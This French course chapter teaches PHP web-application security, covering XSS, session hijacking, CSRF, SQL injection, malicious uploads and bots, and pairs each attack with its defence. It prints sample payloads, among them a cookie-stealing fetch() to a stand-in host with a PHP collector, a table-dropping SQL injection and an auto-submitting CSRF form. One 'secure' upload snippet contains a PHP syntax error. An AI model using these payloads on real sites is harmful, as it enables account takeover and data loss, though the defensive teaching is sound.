Sécuriser son Application

Les Attaques XSS

Présentation

Les attaques XSS, acronyme de "Cross-Site Scripting" (Scripts inter-sites), ciblent principalement les utilisateurs d'une application en ligne. Ce type d'attaque consiste à exécuter un script côté client dans le navigateur des utilisateurs. Cela peut se faire en les incitant à cliquer sur un lien dont l'URL contient le script, ou en insérant ce script directement dans le contenu de l'application via des commentaires, des messages ou d'autres entrées utilisateur non sécurisées.

Ce type de script pourrait permettre de compromettre l'application de plusieurs manières. Par exemple, il pourrait être utilisé pour altérer le fonctionnement normal de l'application, rediriger les utilisateurs vers un site frauduleux dans le but de leur soutirer leurs identifiants, ou encore récupérer des cookies non sécurisés contenant des données sensibles tels que le cookie de session.

Les trois grandes catégories d'attaque XSS

Attaques XSS reflétées

L'attaque de type réfléchi se produit lorsqu'un script client est injecté dans une application web et renvoyé directement au navigateur de l'utilisateur dans la réponse HTTP. Cela se produit généralement via des paramètres d'URL ou des champs de formulaire qui ne sont pas correctement sécurisés. Lorsque l'utilisateur clique sur un lien ou soumet un formulaire contenant ces données, le code malveillant s'exécute dans le contexte de sa session. Un tel lien peut être diffusé par e-mail, sur un réseau social, dans un forum, etc.

Injection de script en paramètre d'URL :


                    https://site-de-confiance-mal-securise.be/?recherche=<script>alert('Vous avez été piraté, veuillez téléphoner aux services de sécurité de microsoft au numéro suivant +1 (555) 123-4567')</script>
                

La valeur du paramètre "recherche" présent dans l'URL serait alors affichée sur la page par un script serveur légitime pour présenter les résultats de la recherche.


                    <?php
                    // Récupérer ce que l'utilisateur veut chercher (paramètre 'recherche' dans l'URL).
                    // S'il n'a rien tapé, on part sur une recherche vide.
                    $recherche = $_GET['recherche'] ?? '';

                    // Récupérer les résultats pour la recherche passée en paramètre d'URL.
                    $resultats = rechercherRecetteCuisine($recherche);

                    // Afficher l'intitulé de la recherche.
                    echo "<h1>Résultats de la recherche : $recherche</h1>";

                    // Afficher les résultats de la recherche...
                    ?>
                

Ce script malveillant pourrait être conçu pour afficher un message d'alerte trompeur, incitant potentiellement une personne vulnérable à appeler des services surtaxés, à céder le contrôle de sa machine à distance, ou à divulguer des informations personnelles sensibles.

Attaques XSS basées sur le DOM

Ce type d'attaque présente des similitudes avec les attaques XSS reflétées, mais s'en distingue par le fait que l'injection et l'exécution du script s'effectuent côté client, sans intervention du serveur. Cela rend leur détection et leur prévention plus complexes, car elles ne laissent souvent aucune trace côté serveur.

Notez que même si l'utilisation de innerHTML ne permet plus, sur les navigateurs modernes, l'exécution de JavaScript injecté au sein de balises <script>, il reste possible de contourner cette limitation. Un attaquant peut exploiter certains attributs HTML tels que onerror ou onload sur des balises comme <img> ou <svg>. Lorsque la valeur saisie par l'utilisateur est insérée dans le DOM via innerHTML, l'exécution de code JavaScript malveillant devient alors possible.

Injection de script en paramètre d'URL :


                    https://site-de-confiance-mal-securise.be/?recherche=<img src=x onerror="alert('Vous avez été piraté, veuillez téléphoner aux services de sécurité de microsoft au numéro suivant +1 (555) 123-4567')">
                

La valeur du paramètre "recherche" présent dans l'URL serait alors affichée sur la page par un script client légitime pour présenter les résultats de la recherche.


                    // Récupérer le paramètre "recherche" présent dans l'URL.
                    const urlParams = new URLSearchParams(window.location.search);
                    const recherche = urlParams.get('recherche');

                    // Récupérer les résultats pour la recherche passée en paramètre d'URL.
                    const resultats = rechercherRecetteCuisine(recherche);

                    // Afficher l'intitulé de la recherche.
                    const titreRecherche = document.createElement('h1');
                    titreRecherche.innerHTML = "Résultats de la recherche : " + recherche;
                    document.body.appendChild(titreRecherche);

                    // Afficher les résultats de la recherche...
                

Attaques XSS stockées

Le script est stocké sur le serveur et exécuté à chaque fois qu'un utilisateur visite la page corrompue. Les exemples courants incluent l'injection de scripts dans les champs de commentaires, les forums ou les formulaires de saisie de données.

Injection de script via un formulaire (forum, commentaires, ...) :


                    <script>
                    window.addEventListener('load', function ()
                    {
                        document.body.innerHTML = "";
                    });
                    </script>
                

Ce script aurait pour effet d'effacer complètement le contenu de la page web lorsqu'un utilisateur tenterait de la visiter.

Notez qu'au lieu d'insérer directement un script dans le code source d'une page, les attaquants peuvent opter pour une approche plus modulaire en utilisant un fichier JavaScript hébergé sur leur propre site. Cette méthodologie offre la possibilité, une fois l'injection réussie, de modifier facilement le contenu du script en fonction des besoins de l'attaque.

Injection d'un script externe via un formulaire (forum, commentaires, ...) :


                    <script src="http://hack-a-saple.local/tout-casser.js" defer></script>
                

Comment s'en prémunir ?

Pour empêcher qu'une donnée fournie par un utilisateur soit interprétée comme du code par le navigateur, il ne faut pas l'afficher telle quelle. Il faut l'encoder au moment de l'affichage, en fonction du contexte dans lequel elle est insérée. Dans du HTML classique, la fonction htmlspecialchars() est adaptée.

Reprenons le cas d'une attaque XSS stockée. Un utilisateur malveillant enregistre par exemple le contenu suivant dans un commentaire :


                    <script>
                    window.addEventListener('load', function ()
                    {
                        document.body.innerHTML = '';
                    });
                    </script>
                

Si ce commentaire est réaffiché tel quel dans la page, le navigateur interprète la balise <script> comme du code JavaScript et l'exécute, ce qui aura pour effet de supprimer tout le contenu de la page.

Pour afficher du contenu sans risque dans une page HTML, il faut échapper les caractères problématiques juste avant l'affichage.


                    echo htmlspecialchars($commentaire, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
                

Les caractères spéciaux sont alors convertis en entités HTML. Par exemple, le caractère < devient &lt;, et le caractère > devient &gt;. Le navigateur affiche donc le texte visible à l'écran, mais ne l'exécute plus comme du code.

Résultat de la chaîne échappée :


                    &lt;script&gt;
                    window.addEventListener(&#039;load&#039;, function ()
                    {
                        document.body.innerHTML = &#039;&#039;;
                    });
                    &lt;/script&gt;
                

Pour un affichage dans du HTML, on recommande généralement l'utilisation des paramètres suivants :

  • ENT_QUOTES échappe à la fois les guillemets doubles et les guillemets simples. C'est utile si une valeur est placée dans un attribut HTML.
  • ENT_SUBSTITUTE remplace proprement les séquences invalides au lieu de produire un résultat incomplet ou imprévisible.
  • 'UTF-8' indique explicitement l'encodage attendu. Même si la configuration du serveur est souvent déjà en UTF-8, l'écrire rend le code plus clair et évite les ambiguïtés.

Depuis PHP 8.1, ENT_QUOTES et ENT_SUBSTITUTE font déjà partie des options par défaut. Les écrire explicitement reste néanmoins une bonne habitude pour rendre l'intention visible dans le code.

Côté client, il n'existe pas de fonction native standard directement équivalente à htmlspecialchars(). Lorsque vous voulez insérer une chaîne non fiable comme simple texte dans la page, il est recommandé d'utiliser la propriété textContent plutôt que innerHTML.

En effet, textContent insère du texte brut, sans interpréter les balises HTML. À l'inverse, innerHTML analyse la chaîne comme du HTML et peut donc ouvrir la porte à des injections XSS si la donnée provient d'un utilisateur.


                    const zoneMessage = document.querySelector('.message');
                    zoneMessage.textContent = donneeUtilisateur;
                

Si vous avez réellement besoin d'obtenir une chaîne déjà échappée côté client pour un contexte HTML textuel, vous pouvez créer une fonction dédiée.


                    function htmlspecialchars(chaine)
                    {
                        return chaine.replace(/[&<>"']/g, function (caractere)
                        {
                            const correspondances =
                            {
                                '&': '&amp;',
                                '<': '&lt;',
                                '>': '&gt;',
                                '"': '&quot;',
                                "'": '&#039;'
                            };

                            return correspondances[caractere];
                        });
                    }
                

Les Attaques par Détournement de Session

Présentation

Les attaques par détournement de session (session hijacking) visent les mécanismes d'authentification et de gestion des sessions des utilisateurs.

En exploitant les vulnérabilités dans la façon dont les identifiants de session sont gérés, les attaquants peuvent intercepter et utiliser des identifiants de session légitimes pour accéder aux comptes des utilisateurs, contournant ainsi les mécanismes d'authentification. Cela leur permet de se faire passer pour des utilisateurs légitimes et d'accéder à leurs données sensibles ou d'effectuer des actions en leur nom.

Ces attaques peuvent être réalisées de différentes manières, notamment en interceptant des cookies non sécurisés, en réutilisant des identifiants de session volés, ou en exploitant des failles dans la gestion des sessions côté serveur. Elles sont souvent facilitées par une mauvaise configuration des sessions et des cookies, et sont fréquemment combinées à d'autres failles telles que les failles XSS.

Quelques types d'attaques

Captage de session

Le captage de session, aussi connu sous le nom de sniffing de session, est une pratique couramment observée sur les réseaux publics.

Cette technique consiste à utiliser des outils spécialisés pour surveiller le trafic réseau et intercepter des informations sensibles telles que l'identifiant de session (cookie PHPSESSID). Elle est particulièrement efficace sur les sites web qui ne mettent pas en œuvre le protocole HTTPS, permettant à ces données de circuler en clair et de devenir vulnérables à l'interception.

Une fois le cookie de session récupéré, il suffit à l'attaquant de se rendre sur le site non sécurisé et de créer manuellement un cookie de session avec l'identifiant de sa victime pour en acquérir les privilèges.

Attaques par fixation de session

Cette attaque repose souvent sur une mauvaise configuration des sessions combinée à une faille XSS.

Par défaut, lorsqu'une requête est effectuée et que le serveur reçoit un cookie PHPSESSID qu'il ne reconnaît pas, il l'initialise et commence à l'utiliser. L'attaque consiste à créer un cookie d'identifiant de session chez la victime, principalement en injectant du code JavaScript à l'aide d'une faille XSS. Lorsque la victime se connecte à son compte, ses accès sont alors liés à cet identifiant imposé par l'attaquant. Celui-ci n'a plus qu'à se rendre sur le site avec ce même identifiant pour profiter des privilèges de la victime.

Injection d'un cookie de session prédéfini via JavaScript :


                    // Création du cookie PHPSESSID avec un identifiant personnalisé.
                    document.cookie = "PHPSESSID=123456789; path=/; SameSite=Lax";
                

Cette forme d'attaque est en réalité plus complexe. Elle implique la génération d'un identifiant de session qui est communiqué au serveur de l'attaquant à chaque fois qu'une victime charge la page contenant l'injection, afin d'éviter que toutes les victimes partagent le même identifiant, ce qui serait peu discret.

Vol du cookie de session persistante

Le cookie de session persistante permet à un utilisateur de rester connecté même après avoir fermé le navigateur. Il correspond au célèbre "Se souvenir de moi" que l'on retrouve sur de nombreuses pages de connexion. Bien qu'il offre un confort certain, il peut faciliter la tâche des attaquants en leur permettant d'usurper l'identité de l'utilisateur et d'accéder à son compte.

Cette attaque repose sur plusieurs facteurs :

  • Le manque de sécurisation du cookie, qui reste accessible via JavaScript.
  • Une mauvaise gestion du filtrage des entrées utilisateur (faille XSS).
  • Et dans le pire des cas, l'absence de régénération de l'identifiant dans le temps, ce qui permet au hacker d'utiliser les informations volées longtemps après le vol.

La transmission peut se faire de manière peu subtile en effectuant une redirection vers un site miroir pour lui transmettre le cookie en paramètre d'URL, ou de façon plus discrète via une requête JavaScript vers ce même site.

Injection de script via un formulaire (forum, commentaires, ...) :


                    <script>
                    // Récupérer tous les cookies.
                    var cookies = document.cookie;

                    // Envoyer les cookies au site miroir en utilisant Fetch.
                    fetch("http://hack-a-saple.local/voler-cookies.php?id=123&cookies=" + encodeURIComponent(cookies));
                    </script>
                

Réception des données volées sur le site miroir :


                    <?php
                    // Autoriser les requêtes provenant de n'importe quelle origine.
                    header("Access-Control-Allow-Origin: *");

                    if (isset($_GET['cookies']) && !empty($_GET['cookies']))
                    {
                        // Récupérer les données envoyées via la requête Fetch.
                        $cookies = $_GET['cookies'];

                        // Enregistrer les données dans un fichier.
                        file_put_contents(__DIR__ . '/cookies.txt', "$cookies\n", FILE_APPEND);
                    }
                    ?>
                

Une fois le cookie de session persistante récupéré, il suffit à l'attaquant de se rendre sur le site ciblé et de créer manuellement un cookie du même nom avec l'identifiant volé pour en acquérir les privilèges.

Notez que ce type d'attaque pourrait également cibler directement l'identifiant de session PHPSESSID. Cependant, la durée de vie par défaut de ce cookie étant de 10 heures, le hacker serait contraint d'agir rapidement dès qu'il obtient l'identifiant.

Comment s'en prémunir ?

Le protocole HTTPS

Toujours utiliser le protocole HTTPS pour héberger vos applications afin d'éviter que des informations sensibles transitant sur un réseau public ne puissent être interceptées en clair.

Configuration des identifiants de session

Sécuriser la configuration des sessions en vous assurant que l'identifiant ne puisse pas être initialisé par le serveur à la demande du client. Ceci pour compliquer les attaques par fixation de session. Vous pouvez ajouter l'instruction suivante avant de démarrer la session.


                    <?php
                    // Cette option passée à 1 permet au serveur de rejeter un identifiant de session
                    // qu'il n'aurait pas initialisé lui-même.
                    ini_set('session.use_strict_mode', 1);

                    // Démarrer la gestion des variables de session.
                    session_start();
                    ?>
                

Pour vérifier que la configuration est correctement appliquée, vous pouvez utiliser la fonction phpinfo() dans l'une de vos pages web. Cela affichera toutes les options de configuration du serveur PHP.

Sécuriser le cookie de session

Pour renforcer la sécurité, configurez le cookie de session de manière à ce qu'il soit inaccessible via JavaScript (pour prévenir les attaques XSS) et à ce qu'il ne soit transmis au serveur que via une connexion HTTPS (pour éviter son interception).


                    <?php
                    // Configuration du cookie de session.
                    session_set_cookie_params([
                        // secure : Le cookie ne sera transmis que si le protocole est sécurisé (HTTPS).
                        'secure'   => true,
                        // httponly : Le cookie ne sera plus accessible via JavaScript.
                        'httponly' => true
                    ]);

                    // Démarrer la gestion des variables de session.
                    session_start();
                    ?>
                

De même, il convient d'appliquer des mesures de sécurité similaires aux autres cookies sensibles.


                    <?php
                    // Configuration du cookie.
                    setcookie('nomDuCookieSensible', $valeurDuCookie, [
                        'secure'   => true,
                        'httponly' => true
                    ]);
                    ?>
                

Notez qu'une bonne configuration des cookies ne se limite pas à ces paramètres, mais nous reviendrons sur une autre option dans le chapitre consacré aux attaques CSRF.

Failles XSS

Échapper les entrées utilisateurs lorsqu'elles sont affichées sur la page (voir la théorie sur les attaques XSS).

Authentification à 2 facteurs

Bien que cette mesure ne puisse pas empêcher les détournements de session, elle contribue à limiter les dommages en empêchant l'attaquant de modifier le mot de passe ou l'adresse e-mail du compte de la victime.

Régénérer l'identifiant de session

Une mesure de sécurité additionnelle consiste à régénérer l'identifiant de session lors des changements de privilèges, tels que la connexion à un compte utilisateur ou suite à une authentification à 2 facteurs. Cependant, la fonction prédéfinie session_regenerate_id() prévue à cet effet peut causer des problèmes sur les connexions instables. Une implémentation manuelle plus robuste existe, mais sa complexité dépasse le cadre de ce cours.

Les Attaques CSRF

Présentation

Les attaques CSRF, acronyme de "Cross-Site Request Forgery" (Falsification de requêtes inter-sites), ciblent principalement les utilisateurs d'une application en ligne.

Ces attaques consistent à inciter un utilisateur authentifié à exécuter des actions non désirées sur un site web sans son consentement, en l'amenant à cliquer sur un lien ou à soumettre un formulaire à son insu. L'attaquant exploite la confiance accordée par le site à l'utilisateur authentifié pour lui faire exécuter des actions malveillantes.

Ce type d'attaque peut être utilisé pour réaliser diverses actions nuisibles telles que changer les paramètres d'un compte, effectuer des achats non autorisés, ou même modifier le mot de passe de l'utilisateur.

Quelques types d'attaques

En paramètre d'URL

Imaginez que la suppression d'article soit déclenchée via une simple URL accompagnée des paramètres appropriés.


                    https://site-de-confiance-mal-securise.be/articles/delete?articleId=5
                

Que ce soit par ingénierie sociale, par injection XSS ou par d'autres méthodes, si le pirate parvient à faire transmettre cette requête à une cible authentifiée disposant des privilèges de suppression, il pourrait effacer une partie ou la totalité du contenu du site.

Avec la méthode POST

Ne pensez pas être à l'abri des attaques CSRF en utilisant des requêtes POST. Les choses sont un peu plus complexes à mettre en place, mais elles sont tout à fait réalisables avec cette méthode.

Dans ce contexte, l'attaquant inspecte le code HTML du formulaire ciblé, récupère les noms des champs, puis reproduit ce formulaire sur un site tiers avec les valeurs souhaitées et une soumission automatique. En incitant la victime à visiter cette page, si elle est authentifiée et dispose des droits nécessaires, la requête sera exécutée à son insu.

Copie des champs du formulaire de suppression d'article sur le site tiers et auto-soumission :


                    <body>
                        <form action="https://site-de-confiance-mal-securise.be/articles/gestion" method="post">
                            <input type="text" name="articleId" value="5">
                            <input type="button" name="delete">
                        </form>
                        <script>
                            const form = document.querySelector('form');
                            form.submit();
                        </script>
                    </body>
                

Comment s'en prémunir ?

Pour se protéger contre les attaques CSRF, les développeurs peuvent mettre en place différentes mesures de sécurité, notamment la configuration des cookies d'authentification et l'utilisation de jetons CSRF.

Configuration des cookies d'authentification

Lorsqu'une requête HTTP est effectuée vers une application en ligne, les cookies associés à cette application sont automatiquement transmis au serveur. Par exemple, le cookie PHPSESSID contenant l'identifiant de session est envoyé au serveur pour permettre l'authentification de l'utilisateur.

Bien que cette fonctionnalité soit pratique, elle peut faciliter certaines attaques. Si un attaquant réussit à injecter du code malveillant sur un site tiers (forum, réseau social), ce code pourrait inclure une requête vers un site légitime où la victime est déjà authentifiée, entraînant des actions à son insu.

Pour restreindre l'envoi automatique des cookies, l'option samesite configurée sur lax limite leur transmission aux navigations de premier niveau. Cela signifie que si une requête provient d'un autre domaine, seul un clic sur un lien menant à votre site enverra le cookie. Les requêtes intégrées (via des balises iframe ou des formulaires POST cross-site) n'enverront pas ce cookie.


                    <?php
                    // Configuration du cookie de session.
                    session_set_cookie_params([
                        'secure'   => true,
                        'httponly' => true,
                        // Limite l'envoi automatique du cookie de session aux requêtes de premier niveau.
                        'samesite' => 'Lax'
                    ]);

                    // Démarrer la gestion des variables de session.
                    session_start();
                    ?>
                

Il existe également l'option samesite configurée sur strict, qui empêche toute transmission du cookie dès qu'une requête provient d'un domaine différent, y compris un clic manuel sur un lien externe. Cette restriction peut poser problème dans certains scénarios de redirection (par exemple, un retour depuis un service de paiement), car le cookie ne sera pas envoyé, ce qui peut entraîner une perte de session.

Notez que cette option peut également être utilisée pour les cookies classiques.


                    <?php
                    // Configuration du cookie.
                    setcookie('nomDuCookieSensible', $valeurDuCookie, [
                        'secure'   => true,
                        'httponly' => true,
                        // Limite l'envoi automatique du cookie aux requêtes de premier niveau.
                        'samesite' => 'Lax'
                    ]);
                    ?>
                

Les jetons CSRF

Un jeton CSRF est un identifiant unique généré côté serveur et inclus dans les formulaires ou les requêtes HTTP. Lorsque l'utilisateur soumet le formulaire, le jeton est également envoyé, et le serveur vérifie s'il correspond à celui attendu. Si le jeton est incorrect ou manquant, la requête est rejetée.

Génération du jeton CSRF côté serveur :


                    <?php
                    // Démarrer la session.
                    session_start();

                    // Générer le jeton CSRF :
                    // random_bytes(32) génère 32 octets (256 bits) de données aléatoires.
                    // bin2hex() convertit les données binaires en une chaîne de 64 caractères hexadécimaux.
                    $jetonCSRF = bin2hex(random_bytes(32));

                    // Stocker le jeton dans une variable de session.
                    $_SESSION['jetonCSRF'] = $jetonCSRF;
                    ?>
                

Insérer le jeton dans le formulaire :


                    <form method="POST">
                        <input type="hidden" name="jetonCSRF" value="<?=$jetonCSRF?>">
                        <!-- les autres champs du formulaire... -->
                    </form>
                

Validation du jeton CSRF lors de la soumission du formulaire :


                    <?php
                    // Démarrer la session.
                    session_start();

                    // Vérifier si la méthode de la requête est "POST",
                    // si le jeton CSRF a été transmis lors de la soumission,
                    // et s'il est identique à celui stocké en variable de session.
                    if (
                        $_SERVER['REQUEST_METHOD'] === "POST"
                        && isset($_POST['jetonCSRF'])
                        && isset($_SESSION['jetonCSRF'])
                        && $_POST['jetonCSRF'] === $_SESSION['jetonCSRF']
                    )
                    {
                        // Jeton CSRF valide : traitement des champs du formulaire...

                        // Régénérer un nouveau jeton après chaque soumission valide
                        // pour éviter qu'un même jeton puisse être réutilisé.
                        $_SESSION['jetonCSRF'] = bin2hex(random_bytes(32));
                    }
                    else
                    {
                        // Jeton CSRF invalide ou absent : rejet de la requête.
                    }
                    ?>
                

Les Attaques par Injection SQL

Présentation

Les attaques par injection SQL se produisent lorsqu'un utilisateur parvient à injecter du code SQL à travers des formulaires web ou des paramètres d'URL. En l'absence de mesures de sécurité appropriées, les entrées utilisateur sont directement intégrées à la requête SQL d'origine et exécutées comme du code SQL par le système de gestion de base de données.

Exemple

Dans l'exemple suivant, l'objectif de la requête SQL d'origine est d'ajouter un nouvel utilisateur dans la table "t_utilisateur_uti" à partir des entrées utilisateur issues d'un formulaire d'inscription.

Exemple de requête non sécurisée :


                    // Récupérer les entrées utilisateur provenant du formulaire de création de compte.
                    $pseudo     = $_POST['pseudo'];
                    $motDePasse = $_POST['motDePasse'];

                    // Se connecter à la base de données.
                    $pdo = connexion_bdd();

                    // Requête permettant d'ajouter un nouvel utilisateur dans la table "t_utilisateur_uti".
                    $requete = "INSERT INTO t_utilisateur_uti (uti_pseudo, uti_motdepasse) VALUES ('$pseudo', '$motDePasse')";

                    // Exécuter la requête.
                    $stmt = $pdo->exec($requete);
                

Avec ce type de requête, l'utilisateur a la possibilité d'insérer des instructions SQL supplémentaires pour altérer la requête d'origine. Supposons que l'utilisateur remplisse normalement le champ "pseudo" avec "pseudoBidon" et que dans le champ "motDePasse", il introduise l'injection SQL suivante : motDePasseBidon'); DROP TABLE t_utilisateur_uti; --. Une fois les entrées intégrées, la requête serait dénaturée.

Requête modifiée suite à l'injection :


                    INSERT INTO t_utilisateur_uti (uti_pseudo, uti_motdepasse) VALUES ('pseudoBidon', 'motDePasseBidon'); DROP TABLE t_utilisateur_uti; --')
                

Maintenant, deux requêtes seront exécutées successivement. Tout d'abord, un nouvel utilisateur sera ajouté à la table. Ensuite, cette même table sera effacée. Pour effectuer cette injection, il est nécessaire de connaître le nom d'une des tables de la base de données, mais ces noms sont souvent faciles à deviner ou à découvrir.

Notez que les caractères -- introduisent un commentaire en SQL. Dans ce contexte, cela garantit que les caractères de la requête d'origine situés à droite de l'injection ne soient pas interprétés.

Comment s'en prémunir ?

Pour éviter les attaques par injection SQL, utilisez des requêtes préparées avec des paramètres nommés. Cela sépare strictement le code SQL des données utilisateur : les valeurs transmises ne peuvent jamais être interprétées comme des instructions SQL.


                    // Récupérer les entrées utilisateur provenant du formulaire de création de compte.
                    $pseudo     = $_POST['pseudo'];
                    $motDePasse = $_POST['motDePasse'];

                    // Se connecter à la base de données.
                    $pdo = connexion_bdd();

                    // Requête avec des marqueurs nommés à la place des valeurs.
                    $requete = "INSERT INTO t_utilisateur_uti (uti_pseudo, uti_motdepasse) VALUES (:pseudo, :motDePasse)";

                    // Préparer la requête SQL.
                    $stmt = $pdo->prepare($requete);

                    // Lier les entrées utilisateur aux marqueurs.
                    // Les valeurs sont transmises séparément du code SQL
                    // et ne peuvent pas être interprétées comme des instructions SQL.
                    $stmt->bindValue(":pseudo",     $pseudo);
                    $stmt->bindValue(":motDePasse", $motDePasse);

                    // Exécuter la requête.
                    $stmt->execute();
                

Les Attaques par Téléversement de Fichier

Présentation

Les attaques par téléversement de fichier consistent à envoyer des scripts sur un serveur dans le but de les exécuter ultérieurement. Ces attaques peuvent avoir de lourdes conséquences, allant de la récupération d'informations sensibles jusqu'à la prise de contrôle complète du serveur.

Exemple

Supposons qu'une application propose aux utilisateurs authentifiés d'ajouter une image de profil à l'aide d'un formulaire.

Formulaire HTML :


                    <!--
                    L'attribut enctype="multipart/form-data" permet au formulaire
                    de téléverser des fichiers vers le serveur.
                    -->
                    <form class="avatar" method="post" enctype="multipart/form-data">
                        <input type="file" name="avatar">
                        <button type="submit">Enregistrer</button>
                    </form>
                

Script PHP permettant d'enregistrer le fichier sur le serveur :


                    <?php
                    // La variable "$_FILES" est utilisée lors du téléversement de fichiers via un formulaire.
                    // Elle contient des informations sur le(s) fichier(s) envoyé(s) au serveur.
                    if (
                        isset($_FILES['avatar'])            // Fichier envoyé via le champ "avatar" ?
                        && $_FILES['avatar']['error'] == 0 // Aucune erreur rencontrée ?
                        && $_FILES['avatar']['size'] <= 10000000 // Fichier pesant moins de 10 Mo ?
                    )
                    {
                        // Récupérer le nom du fichier d'origine.
                        $fichierNom = basename($_FILES['avatar']['name']);

                        // Le chemin de destination.
                        $fichierCheminDestination = __DIR__ . "/images/$fichierNom";

                        // Enregistrer le fichier sur le serveur.
                        // "move_uploaded_file()" déplace le fichier depuis son emplacement temporaire.
                        move_uploaded_file($_FILES['avatar']['tmp_name'], $fichierCheminDestination);
                    }
                    ?>
                

Un utilisateur malveillant pourrait détourner cette fonctionnalité pour téléverser un fichier PHP plutôt qu'une image. Ce script pourrait être conçu pour collecter des informations sensibles sur la configuration du serveur.

Fichier "infos.php" envoyé à la place d'un fichier image :


                    <?php
                    // Afficher la configuration de PHP du serveur.
                    phpinfo();
                    ?>
                

Il ne lui resterait alors plus qu'à se rendre à l'URL correspondante pour exécuter le script et afficher la configuration de PHP.

Comment se protéger ?

Pour garantir que seuls les types de fichiers désirés sont acceptés, il faut mettre en place une validation combinant la vérification du type MIME et de l'extension du fichier. Le type MIME est déterminé en lisant le contenu réel du fichier (via mime_content_type()), ce qui est plus fiable que de se fier au type déclaré par le navigateur dans $_FILES['avatar']['type'], que l'attaquant peut falsifier librement.


                    <?php
                    if (
                        isset($_FILES['avatar'])
                        && $_FILES['avatar']['error'] == 0
                        && $_FILES['avatar']['size'] <= 10000000
                    )
                    {
                        // Liste des types MIME acceptés.
                        $mimeAutorise = ["image/jpeg", "image/png", "image/webp"];

                        // Liste des extensions autorisées (couche de sécurité supplémentaire).
                        $extensionAutorisee = ["jpg", "jpeg", "png", "webp"];

                        // Obtenir les informations sur le fichier (nom, extension, etc.).
                        $fichierInfos = pathinfo($_FILES['avatar']['name']);

                        if (
                            in_array(mime_content_type($_FILES['avatar']['tmp_name']), $mimeAutorise) // Type MIME autorisé ?
                            && in_array(strtolower($fichierInfos['extension']), $extensionAutorisee)  // Extension autorisée ?
                        )
                        {
                            // Le chemin de destination.
                            $fichierCheminDestination = __DIR__ . "/images/$fichierInfos['basename']";

                            // Enregistrer le fichier sur le serveur.
                            move_uploaded_file($_FILES['avatar']['tmp_name'], $fichierCheminDestination);
                        }
                    }
                    ?>
                

Les Attaques Automatisées

Présentation

Les attaques automatisées consistent à utiliser des "bots" pour bombarder un serveur de requêtes. Il existe plusieurs types d'attaques, ayant chacun un objectif particulier.

Quelques types d'attaques

Spam

Des bots remplissent de manière automatique des formulaires en ligne avec du contenu indésirable, ce qui peut entraîner un spam excessif et nuire à la réputation du site web.

Bruteforce

Les attaques par force brute consistent à utiliser des bots pour tenter de trouver le mot de passe d'un compte utilisateur en bombardant le serveur de requêtes avec de nombreuses combinaisons.

Attaques DoS ou DDoS

Les attaques DoS (Denial of Service) ou DDoS (Distributed Denial of Service), lorsqu'elles sont orchestrées depuis plusieurs sources différentes, consistent à inonder un site web avec un grand nombre de requêtes simultanées, provoquant une surcharge du serveur et le rendant indisponible pour les utilisateurs légitimes.

Comment s'en prémunir ?

Pour contrer ces attaques automatisées, deux solutions principales sont utilisées : les CAPTCHA et les limiteurs de requêtes combinés aux jetons CSRF.

Les CAPTCHA

Les CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) sont des tests ayant pour objectif de distinguer les humains des machines. Il s'agit généralement d'une tâche simple, mais difficile à automatiser. Bien qu'ils aient été efficaces, les avancées en intelligence artificielle ont permis à certains bots de les contourner. De plus, certains types de CAPTCHA posent des problèmes d'accessibilité et sont souvent perçus comme contraignants, pouvant décourager des utilisateurs légitimes.

Limitation de la fréquence des requêtes et jetons CSRF

Une alternative consiste à limiter la fréquence des requêtes. Cette technique impose des restrictions sur le nombre de requêtes pouvant être envoyées au serveur dans un intervalle de temps donné.

Cependant, cette technique peut être contournée. Lorsqu'elle est basée sur l'adresse IP, les attaquants peuvent dynamiquement modifier celle-ci. Lorsqu'elle est basée sur les variables de session, les attaquants peuvent supprimer le cookie PHPSESSID avant chaque requête, forçant ainsi la création d'une nouvelle session vierge. Pour éviter ces contournements, il est conseillé de combiner la limitation de requêtes basée sur les variables de session avec des jetons CSRF. Dans ce cas, si un attaquant supprime le cookie de session pour réinitialiser le compteur, le jeton CSRF devient invalide, empêchant la soumission du formulaire.

Exercices

Exo-les-failles-de-securite-01

  1. Télécharger l'application "Hack à Sable".
  2. Hébergez l'application en local.
  3. Si l'application n'est pas installée à la racine du domaine (par exemple, accessible via http://localhost/la-racine-de-mon-projet/), il est nécessaire d'adapter la ligne suivante du fichier .htaccess situé à la racine du projet pour que les redirections tiennent compte du chemin réel.
    
                                RewriteRule ^(.*)$ /public/$1 [L];
                            
    Actuellement, cette ligne redirige toutes les requêtes vers le dossier public en partant du répertoire racine du serveur. Si le projet se trouve dans un sous-dossier (comme /la-racine-de-mon-projet/), il faut remplacer cette ligne par :
    
                                RewriteRule ^(.*)$ /la-racine-de-mon-projet/public/$1 [L];
                            
  4. Rendez-vous sur la page d'accueil et suivez les instructions.

Exercice : Projet Progressif 06

  • Objectif : Renforcer la sécurité de votre projet en appliquant des pratiques concrètes de protection contre les failles courantes (XSS, injection SQL, fixation/vol de session).
  • Instructions :
    1. Poursuivre le projet progressif initié lors du chapitre sur les modèles de pages dynamiques.
    2. Évitez les attaques XSS : dans les vues, échappez systématiquement toute donnée venant de l'utilisateur avec htmlspecialchars().
    3. Protégez la base de données : utilisez des requêtes préparées avec PDO pour éviter les injections SQL.
    4. Sécurisez les sessions :
      • Activez session.use_strict_mode dans la configuration. Cela empêche les attaques par fixation de session en refusant tout identifiant de session qui n'a pas été généré par PHP lui-même.
      • Configurez correctement le cookie d'identifiant de session à l'aide de session_set_cookie_params() pour renforcer la sécurité des échanges :
        • 'secure' => true : empêche l'envoi du cookie via une connexion non sécurisée (HTTP). En environnement de développement local sans HTTPS, vous devrez temporairement le passer à false, sinon la session ne sera jamais reconnue. N'oubliez pas de remettre true en production.
        • 'httponly' => true : empêche le cookie d'être accessible en JavaScript côté client (ex. via document.cookie). Cela limite considérablement les risques d'exploitation en cas d'attaque XSS.
        • 'samesite' => 'Lax' : limite l'envoi automatique du cookie de session lors de requêtes intersites. Le mode Lax autorise l'envoi du cookie uniquement pour des navigations normales (ex. clic sur un lien). Cela protège contre certaines attaques CSRF tout en maintenant un fonctionnement compatible avec la plupart des cas d'usage.

Bonus (facultatif)

  • Objectif : Mettez en place un gestionnaire de jeton CSRF et assurez-vous de l'intégrer à chacun de vos formulaires.
  • Instructions :
    1. Testez son efficacité en tentant de modifier manuellement le jeton à l'aide de l'inspecteur du navigateur.
  • Objectif : Mettez en place un gestionnaire de fréquence des requêtes pour restreindre la fréquence de traitement des formulaires soumis via la méthode POST.
  • Instructions :
    1. Dans une variable de session, stockez l'horodatage actuel (timestamp) de la première requête POST reçue (requête de référence) à l'aide de la fonction time().
    2. Dans une autre variable de session, stockez un compteur de requêtes POST.
